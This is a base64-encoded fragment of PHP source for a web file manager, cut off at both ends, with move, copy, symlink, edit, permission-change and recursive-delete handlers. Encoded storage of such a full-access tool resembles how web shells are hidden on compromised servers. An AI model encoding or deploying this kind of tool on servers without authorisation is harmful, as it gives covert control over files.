YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJJGQgPSAkZGVzdCAuICRmaWxlbmFt ZTsKCQkJaWYgKCFAZmlsZV9leGlzdHMoJGQpICYmIEByZW5hbWUoJGZpbGUsICRkKSkgewoJCQkJ JHN1Y2Nlc3NbXSA9ICRmaWxlOwoJCQl9IGVsc2UgewoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOwoJ CQl9CgkJfQoKCQkkbWVzc2FnZSA9ICcnOwoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgewoJ CQkkbWVzc2FnZSA9IGVycm9yKCdub3RfbW92ZWQnLCBpbXBsb2RlKCJcCiIsICRmYWlsdXJlKSwg JGRlc3QpOwoJCX0KCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsKCQkJJG1lc3NhZ2UgLj0g bm90aWNlKCdtb3ZlZCcsIGltcGxvZGUoIlwKIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7CgkJfQoKCQls aXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoKCX0gZWxzZSB7CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVj aG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KCjx0YWJsZSBj bGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgoJCXJlcXVlc3RfZHVt cCgpOwoKCQllY2hvICJcdDxiPiIgLiB3b3JkKCdtb3ZlX2ZpbGVzJykgLiAnPC9iPgoJPHA+Cic7 CgoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxl KSAuICI8YnIgLz5cCiI7CgkJfQoKCQllY2hvICcJPC9wPgoJPGhyIC8+CgknIC4gd29yZCgnZGVz dGluYXRpb24nKSAuICc6Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNp emU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRk aXJlY3RvcnkpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgn bW92ZScpIC4gJyIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KCjxwPjxhIGhyZWY9IicgLiAkc2Vs ZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNr JykgLiAnIF08L2E+PC9wPgoKPC9mb3JtPgoKJzsKCgkJaHRtbF9mb290ZXIoKTsKCgl9CgoJYnJl YWs7CgpjYXNlICdjb3B5JzoKCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsK CgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJl Y3RvcnkpOwoKCQlpZiAoQGlzX2RpcigkZGVzdCkpIHsKCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsK CQkJJHN1Y2Nlc3MgPSBhcnJheSgpOwoKCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJ CQkkZmlsZW5hbWUgPSBzdWJzdHIoJGZpbGUsIHN0cmxlbigkZGlyZWN0b3J5KSk7CgkJCQkkZCA9 IGFkZHNsYXNoKCRkZXN0KSAuICRmaWxlbmFtZTsKCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYg IUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgewoJCQkJCSRzdWNjZXNzW10g PSAkZmlsZTsKCQkJCX0gZWxzZSB7CgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOwoJCQkJfQoJCQl9 CgoJCQkkbWVzc2FnZSA9ICcnOwoJCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsKCQkJCSRt ZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcCiIsICRmYWlsdXJlKSwgJGRl c3QpOwoJCQl9CgkJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgewoJCQkJJG1lc3NhZ2UgLj0g bm90aWNlKCdjb3BpZWQnLCBpbXBsb2RlKCJcCiIsICRzdWNjZXNzKSwgJGRlc3QpOwoJCQl9CgoJ CQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoKCQl9IGVsc2UgewoKCQkJaWYgKCFAZmlsZV9leGlz dHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsKCQkJCWxpc3RpbmdfcGFnZShub3Rp Y2UoJ2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOwoJCQl9IGVsc2UgewoJCQkJbGlzdGluZ19wYWdl KGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7CgkJCX0KCgkJfQoKCX0gZWxzZSB7 CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIg bWV0aG9kPSJwb3N0Ij4KCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRp YWxvZyI+Cic7CgoJCXJlcXVlc3RfZHVtcCgpOwoKCQllY2hvICJcCjxiPiIgLiB3b3JkKCdjb3B5 X2ZpbGVzJykgLiAnPC9iPgoJPHA+Cic7CgoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJ CQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cCiI7CgkJfQoKCQllY2hvICcJPC9w PgoJPGhyIC8+CgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6Cgk8aW5wdXQgdHlwZT0idGV4 dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3Rvcnkp IC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJz dWJtaXQiIHZhbHVlPSInIC4gd29yZCgnY29weScpIC4gJyIgLz4KPC90ZD4KPC90cj4KPC90YWJs ZT4KCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9y eSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgoKPC9mb3JtPgoKJzsKCgkJ aHRtbF9mb290ZXIoKTsKCgl9CgoJYnJlYWs7CgpjYXNlICdjcmVhdGVfc3ltbGluayc6CgoJaWYg KCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7CgoJCSRkZXN0ID0gcmVsYXRpdmUyYWJz b2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsKCgkJaWYgKHN1YnN0cigk ZGVzdCwgLTEsIDEpID09ICRkZWxpbSkgJGRlc3QgLj0gYmFzZW5hbWUoJGZpbGUpOwoKCQlpZiAo IWVtcHR5KCRfUE9TVFsncmVsYXRpdmUnXSkpICRmaWxlID0gYWJzb2x1dGUycmVsYXRpdmUoYWRk c2xhc2goZGlybmFtZSgkZGVzdCkpLCAkZmlsZSk7CgoJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0 KSAmJiBAc3ltbGluaygkZmlsZSwgJGRlc3QpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3N5 bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJv cignbm90X3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOwoJCX0KCgl9IGVsc2UgewoKCQlodG1s X2hlYWRlcigpOwoKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0i cG9zdCI+Cgo8dGFibGUgY2xhc3M9ImRpYWxvZyIgaWQ9InN5bWxpbmsiPgo8dHI+Cgk8dGQgc3R5 bGU9InZlcnRpY2FsLWFsaWduOiB0b3AiPicgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzogPC90 ZD4KCTx0ZD4KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPgoJCTxpbnB1dCB0eXBl PSJjaGVja2JveCIgbmFtZT0icmVsYXRpdmUiIHZhbHVlPSJ5ZXMiIGlkPSJjaGVja2JveF9yZWxh dGl2ZSIgY2hlY2tlZD0iY2hlY2tlZCIgc3R5bGU9Im1hcmdpbi10b3A6IDFleCIgLz4KCQk8bGFi ZWwgZm9yPSJjaGVja2JveF9yZWxhdGl2ZSI+JyAuIHdvcmQoJ3JlbGF0aXZlJykgLiAnPC9sYWJl bD4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3lt bGluayIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0 bWwoJGZpbGUpIC4gJyIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVl PSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8L3RkPgo8L3RyPgo8dHI+Cgk8dGQ+JyAu IHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+Cgk8dGQ+CgkJPGlucHV0IHR5cGU9InRleHQiIG5h bWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICci IHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+CgkJPGlucHV0IHR5cGU9InN1Ym1p dCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4KCTwvdGQ+CjwvdHI+ CjwvdGFibGU+Cgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRk aXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4K Cic7CgoJCWh0bWxfZm9vdGVyKCk7CgoJfQoKCWJyZWFrOwoKY2FzZSAnZWRpdCc6CgoJaWYgKCFl bXB0eSgkX1BPU1RbJ3NhdmUnXSkpIHsKCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXApcCiIs ICJcCiIsICRfUE9TVFsnY29udGVudCddKTsKCgkJaWYgKCgkZiA9IEBmb3BlbigkZmlsZSwgJ3cn KSkgJiYgQGZ3cml0ZSgkZiwgJGNvbnRlbnQpICE9PSBmYWxzZSAmJiBAZmNsb3NlKCRmKSkgewoJ CQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzYXZlZCcsICRmaWxlKSk7CgkJfSBlbHNlIHsKCQkJbGlz dGluZ19wYWdlKGVycm9yKCdub3Rfc2F2ZWQnLCAkZmlsZSkpOwoJCX0KCgl9IGVsc2UgewoKCQlp ZiAoQGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBAaXNfd3JpdGFibGUoJGZpbGUpKSB7CgkJCWVkaXQo JGZpbGUpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2VkaXRlZCcsICRm aWxlKSk7CgkJfQoKCX0KCglicmVhazsKCmNhc2UgJ3Blcm1pc3Npb24nOgoKCWlmICghZW1wdHko JF9QT1NUWydzZXQnXSkpIHsKCgkJJG1vZGUgPSAwOwoJCWlmICghZW1wdHkoJF9QT1NUWyd1cidd KSkgJG1vZGUgfD0gMDQwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSAkbW9kZSB8PSAwMjAw OyBpZiAoIWVtcHR5KCRfUE9TVFsndXgnXSkpICRtb2RlIHw9IDAxMDA7CgkJaWYgKCFlbXB0eSgk X1BPU1RbJ2dyJ10pKSAkbW9kZSB8PSAwMDQwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpICRt b2RlIHw9IDAwMjA7IGlmICghZW1wdHkoJF9QT1NUWydneCddKSkgJG1vZGUgfD0gMDAxMDsKCQlp ZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpICRtb2RlIHw9IDAwMDQ7IGlmICghZW1wdHkoJF9QT1NU WydvdyddKSkgJG1vZGUgfD0gMDAwMjsgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSAkbW9kZSB8 PSAwMDAxOwoKCQlpZiAoQGNobW9kKCRmaWxlLCAkbW9kZSkpIHsKCQkJbGlzdGluZ19wYWdlKG5v dGljZSgncGVybWlzc2lvbl9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOwoJCX0gZWxzZSB7 CgkJCWxpc3RpbmdfcGFnZShlcnJvcigncGVybWlzc2lvbl9ub3Rfc2V0JywgJGZpbGUsIGRlY29j dCgkbW9kZSkpKTsKCQl9CgoJfSBlbHNlIHsKCgkJaHRtbF9oZWFkZXIoKTsKCgkJJG1vZGUgPSBm aWxlcGVybXMoJGZpbGUpOwoKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1l dGhvZD0icG9zdCI+Cgo8dGFibGUgY2xhc3M9ImRpYWxvZyI+Cjx0cj4KPHRkIGNsYXNzPSJkaWFs b2ciPgoKCTxwIHN0eWxlPSJtYXJnaW46IDAiPicgLiBwaHJhc2UoJ3Blcm1pc3Npb25fZm9yJywg JGZpbGUpIC4gJzwvcD4KCgk8aHIgLz4KCgk8dGFibGUgaWQ9InBlcm1pc3Npb24iPgoJPHRyPgoJ CTx0ZD48L3RkPgoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicg LiB3b3JkKCdvd25lcicpIC4gJzwvdGQ+CgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBz b2xpZCBibGFjayI+JyAuIHdvcmQoJ2dyb3VwJykgLiAnPC90ZD4KCQk8dGQ+JyAuIHdvcmQoJ290 aGVyJykgLiAnPC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdo dCI+JyAuIHdvcmQoJ3JlYWQnKSAuICc6PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94 IiBuYW1lPSJ1ciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDA0MDApIGVjaG8gJyBjaGVja2Vk PSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIg bmFtZT0iZ3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDQwKSBlY2hvICcgY2hlY2tlZD0i Y2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5h bWU9Im9yIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwNCkgZWNobyAnIGNoZWNrZWQ9ImNo ZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIHN0eWxlPSJ0ZXh0LWFs aWduOiByaWdodCI+JyAuIHdvcmQoJ3dyaXRlJykgLiAnOjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBl PSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMjAwKSBlY2hv ICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0i Y2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAyMCkgZWNobyAn IGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNo ZWNrYm94IiBuYW1lPSJvdyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDIpIGVjaG8gJyBj aGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZCBzdHls ZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCdleGVjdXRlJykgLiAnOjwvdGQ+CgkJPHRk PjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAm IDAwMTAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48 aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAw MDAxMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCQk8dGQ+PGlu cHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJveCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAw MDEpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+Cgk8L3RyPgoJPC90 YWJsZT4KCgk8aHIgLz4KCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzZXQiIHZhbHVlPSIn IC4gd29yZCgnc2V0JykgLiAnIiAvPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlv biIgdmFsdWU9InBlcm1pc3Npb24iIC8+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxl IiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h bWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KCjwvdGQ+CjwvdHI+ CjwvdGFibGU+Cgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRk aXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4K Cic7CgoJCWh0bWxfZm9vdGVyKCk7CgoJfQoKCWJyZWFrOwoKZGVmYXVsdDoKCglsaXN0aW5nX3Bh Z2UoKTsKCn0KCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8KCmZ1bmN0aW9uIGdldGxpc3QgKCRkaXJl Y3RvcnkpIHsKCWdsb2JhbCAkZGVsaW0sICR3aW47CgoJaWYgKCRkID0gQG9wZW5kaXIoJGRpcmVj dG9yeSkpIHsKCgkJd2hpbGUgKCgkZmlsZW5hbWUgPSBAcmVhZGRpcigkZCkpICE9PSBmYWxzZSkg ewoKCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOwoKCQkJaWYgKCRzdGF0ID0gQGxz dGF0KCRwYXRoKSkgewoKCQkJCSRmaWxlID0gYXJyYXkoCgkJCQkJJ2ZpbGVuYW1lJyAgICA9PiAk ZmlsZW5hbWUsCgkJCQkJJ3BhdGgnICAgICAgICA9PiAkcGF0aCwKCQkJCQknaXNfZmlsZScgICAg ID0+IEBpc19maWxlKCRwYXRoKSwKCQkJCQknaXNfZGlyJyAgICAgID0+IEBpc19kaXIoJHBhdGgp LAoJCQkJCSdpc19saW5rJyAgICAgPT4gQGlzX2xpbmsoJHBhdGgpLAoJCQkJCSdpc19yZWFkYWJs ZScgPT4gQGlzX3JlYWRhYmxlKCRwYXRoKSwKCQkJCQknaXNfd3JpdGFibGUnID0+IEBpc193cml0 YWJsZSgkcGF0aCksCgkJCQkJJ3NpemUnICAgICAgICA9PiAkc3RhdFsnc2l6ZSddLAoJCQkJCSdw ZXJtaXNzaW9uJyAgPT4gJHN0YXRbJ21vZGUnXSwKCQkJCQknb3duZXInICAgICAgID0+ICRzdGF0 Wyd1aWQnXSwKCQkJCQknZ3JvdXAnICAgICAgID0+ICRzdGF0WydnaWQnXSwKCQkJCQknbXRpbWUn ICAgICAgID0+IEBmaWxlbXRpbWUoJHBhdGgpLAoJCQkJCSdhdGltZScgICAgICAgPT4gQGZpbGVh dGltZSgkcGF0aCksCgkJCQkJJ2N0aW1lJyAgICAgICA9PiBAZmlsZWN0aW1lKCRwYXRoKQoJCQkJ KTsKCgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7CgkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUn XSA9IEBmaWxlX2V4aXN0cygkcGF0aCAuICRkZWxpbSAuICcuJyk7CgkJCQl9IGVsc2UgewoJCQkJ CWlmICghJHdpbikgewoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFi bGUoJHBhdGgpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0 cnVlOwoJCQkJCX0KCQkJCX0KCgkJCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgJGZpbGVbJ3Rhcmdl dCddID0gQHJlYWRsaW5rKCRwYXRoKTsKCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9n ZXRwd3VpZCcpKSAkZmlsZVsnb3duZXJfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldHB3dWlkKCRm aWxlWydvd25lciddKSk7CgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcp KSAkZmlsZVsnZ3JvdXBfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldGdyZ2lkKCRmaWxlWydncm91 cCddKSk7CgoJCQkJJGZpbGVzW10gPSAkZmlsZTsKCgkJCX0KCgkJfQoKCQlyZXR1cm4gJGZpbGVz OwoKCX0gZWxzZSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoKfQoKZnVuY3Rpb24gc29ydGxpc3QgKCYk bGlzdCwgJGtleSwgJHJldmVyc2UpIHsKCglxdWlja3NvcnQoJGxpc3QsIDAsIHNpemVvZigkbGlz dCkgLSAxLCAka2V5KTsKCglpZiAoJHJldmVyc2UpICRsaXN0ID0gYXJyYXlfcmV2ZXJzZSgkbGlz dCk7Cgp9CgpmdW5jdGlvbiBxdWlja3NvcnQgKCYkYXJyYXksICRmaXJzdCwgJGxhc3QsICRrZXkp IHsKCglpZiAoJGZpcnN0IDwgJGxhc3QpIHsKCgkJJGNtcCA9ICRhcnJheVtmbG9vcigoJGZpcnN0 ICsgJGxhc3QpIC8gMildWyRrZXldOwoKCQkkbCA9ICRmaXJzdDsKCQkkciA9ICRsYXN0OwoKCQl3 aGlsZSAoJGwgPD0gJHIpIHsKCgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwr KzsKCQkJd2hpbGUgKCRhcnJheVskcl1bJGtleV0gPiAkY21wKSAkci0tOwoKCQkJaWYgKCRsIDw9 ICRyKSB7CgoJCQkJJHRtcCA9ICRhcnJheVskbF07CgkJCQkkYXJyYXlbJGxdID0gJGFycmF5WyRy XTsKCQkJCSRhcnJheVskcl0gPSAkdG1wOwoKCQkJCSRsKys7CgkJCQkkci0tOwoKCQkJfQoKCQl9 CgoJCXF1aWNrc29ydCgkYXJyYXksICRmaXJzdCwgJHIsICRrZXkpOwoJCXF1aWNrc29ydCgkYXJy YXksICRsLCAkbGFzdCwgJGtleSk7CgoJfQoKfQoKZnVuY3Rpb24gcGVybWlzc2lvbl9vY3RhbDJz dHJpbmcgKCRtb2RlKSB7CgoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgewoJCSR0 eXBlID0gJ3MnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgewoJCSR0 eXBlID0gJ2wnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgewoJCSR0 eXBlID0gJy0nOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgewoJCSR0 eXBlID0gJ2InOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgewoJCSR0 eXBlID0gJ2QnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgewoJCSR0 eXBlID0gJ2MnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgewoJCSR0 eXBlID0gJ3AnOwoJfSBlbHNlIHsKCQkkdHlwZSA9ICc/JzsKCX0KCgkkb3duZXIgID0gKCRtb2Rl ICYgMDA0MDApID8gJ3InIDogJy0nOwoJJG93bmVyIC49ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6 ICctJzsKCWlmICgkbW9kZSAmIDB4ODAwKSB7CgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ ICdzJyA6ICdTJzsKCX0gZWxzZSB7CgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6 ICctJzsKCX0KCgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwoJJGdyb3Vw IC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKCWlmICgkbW9kZSAmIDB4NDAwKSB7CgkJ JGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsKCX0gZWxzZSB7CgkJJGdyb3Vw IC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCX0KCgkkb3RoZXIgID0gKCRtb2RlICYg MDAwMDQpID8gJ3InIDogJy0nOwoJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICct JzsKCWlmICgkbW9kZSAmIDB4MjAwKSB7CgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd0 JyA6ICdUJzsKCX0gZWxzZSB7CgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICct JzsKCX0KCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7Cgp9CgpmdW5j dGlvbiBpc19zY3JpcHQgKCRmaWxlbmFtZSkgewoJcmV0dXJuIGVyZWcoJ1wucGhwJHxcLnBocDMk fFwucGhwNCR8XC5waHA1JCcsICRmaWxlbmFtZSk7Cn0KCmZ1bmN0aW9uIGdldG1pbWV0eXBlICgk ZmlsZW5hbWUpIHsKCXN0YXRpYyAkbWltZXMgPSBhcnJheSgKCQknXC5qcGckfFwuanBlZyQnICA9 PiAnaW1hZ2UvanBlZycsCgkJJ1wuZ2lmJCcgICAgICAgICAgPT4gJ2ltYWdlL2dpZicsCgkJJ1wu cG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsCgkJJ1wuaHRtbCR8XC5odG1sJCcgPT4gJ3Rl eHQvaHRtbCcsCgkJJ1wudHh0JHxcLmFzYyQnICAgPT4gJ3RleHQvcGxhaW4nLAoJCSdcLnhtbCR8 XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLAoJCSdcLnBkZiQnICAgICAgICAgID0+ICdh cHBsaWNhdGlvbi9wZGYnCgkpOwoKCWZvcmVhY2ggKCRtaW1lcyBhcyAkcmVnZXggPT4gJG1pbWUp IHsKCQlpZiAoZXJlZ2koJHJlZ2V4LCAkZmlsZW5hbWUpKSByZXR1cm4gJG1pbWU7Cgl9CgoJLy8g cmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwoJcmV0dXJuICd0ZXh0L3BsYWluJzsK Cn0KCmZ1bmN0aW9uIGRlbCAoJGZpbGUpIHsKCWdsb2JhbCAkZGVsaW07CgoJaWYgKCFAaXNfbGlu aygkZmlsZSkgJiYgIWZpbGVfZXhpc3RzKCRmaWxlKSkgcmV0dXJuIGZhbHNlOwoKCWlmICghQGlz X2xpbmsoJGZpbGUpICYmIEBpc19kaXIoJGZpbGUpKSB7CgoJCWlmICgkZGlyID0gQG9wZW5kaXIo JGZpbGUpKSB7CgoJCQkkZXJyb3IgPSBmYWxzZTsKCgkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRk aXIpKSAhPT0gZmFsc2UpIHsKCQkJCWlmICgkZiAhPSAnLicgJiYgJGYgIT0gJy4uJyAmJiAhZGVs KCRmaWxlIC4gJGRlbGltIC4gJGYpKSB7CgkJCQkJJGVycm9yID0gdHJ1ZTsKCQkJCX0KCQkJfQoJ CQljbG9zZWRpcigkZGlyKTsKCgkJCWlmICghJGVycm9yKSByZXR1cm4gQHJtZGlyKCRmaWxlKTsK 